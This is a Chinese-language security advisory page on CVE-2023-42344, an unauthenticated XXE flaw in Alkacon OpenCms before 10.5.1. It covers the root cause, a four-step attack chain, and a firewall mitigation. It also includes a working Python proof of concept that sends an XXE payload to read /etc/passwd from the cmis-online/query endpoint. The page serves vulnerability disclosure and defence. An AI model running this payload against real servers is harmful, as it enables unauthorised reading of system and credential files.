IPBUF安全漏洞报告
English
CVE-2023-42344 CVSS 7.3 高危

CVE-2023-42344 Alkacon OpenCms XXE信息泄露漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2023-42344
漏洞类型
XXE (XML External Entity)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Alkacon OpenCms

相关标签

XXEOpenCms信息泄露CVE-2023-42344无需认证

漏洞概述

Alkacon OpenCms是一款广泛使用的开源内容管理系统。在10.5.1版本之前,其Chemistry Servlet组件存在严重缺陷。攻击者无需任何身份认证,即可利用`cmis-online/query`接口发送特制的XML数据。由于系统未正确禁用XML外部实体解析,导致遭受XXE攻击。成功利用此漏洞可导致服务器敏感文件被读取,造成严重的信息泄露风险。

技术细节

该漏洞根因在于Alkacon OpenCms集成的Apache Chemistry OpenCMIS库在处理XML查询时配置不当。具体而言,`cmis-online/query`接口接收用户输入的XML格式的CMIS查询语句,但底层的XML解析器未禁用外部实体引用。攻击者可以构造包含恶意DTD(文档类型定义)的XML数据,例如定义一个实体指向本地文件系统资源(如`/etc/passwd`)。当服务器端解析该XML时,会解析并加载该外部实体内容,随后在错误信息或响应数据中泄露文件内容。由于该攻击向量无需用户交互且无需认证,结合网络攻击向量,使得攻击者能轻易地探测并窃取服务器上的敏感配置或用户数据。

攻击链分析

STEP 1
侦察与发现
攻击者识别出目标服务器运行的是Alkacon OpenCms,且版本低于10.5.1。
STEP 2
发送恶意请求
攻击者向`/opencms/cmis-online/query`端点发送POST请求,请求体中包含构造好的恶意XML(包含XXE Payload)。
STEP 3
服务器解析
服务器端接收请求,XML解析器解析XML数据时触发了外部实体引用,读取了本地文件(如/etc/passwd)。
STEP 4
信息回显
服务器将解析结果或错误信息返回给攻击者,其中包含了读取到的敏感文件内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL, replace with actual target url = "http://target:8080/opencms/cmis-online/query" # XXE Payload attempting to read /etc/passwd xxe_payload = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <cmis:query xmlns:cmis="http://docs.oasis-open.org/ns/cmis/core/200908/"> <cmis:statement>SELECT * FROM cmis:document WHERE &xxe;</cmis:statement> </cmis:query> """ headers = { "Content-Type": "application/xml" } try: # Sending the POST request response = requests.post(url, data=xxe_payload, headers=headers, timeout=10) # Checking if the attack was successful if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] Response Content:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print("[-] Status Code:", response.status_code) except Exception as e: print(f"Error: {e}")

影响范围

Alkacon OpenCms < 10.5.1

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或WAF层面阻断对`/cmis-online/query`路径的访问请求,或者严格限制网络访问来源,仅允许可信IP调用该接口。

参考链接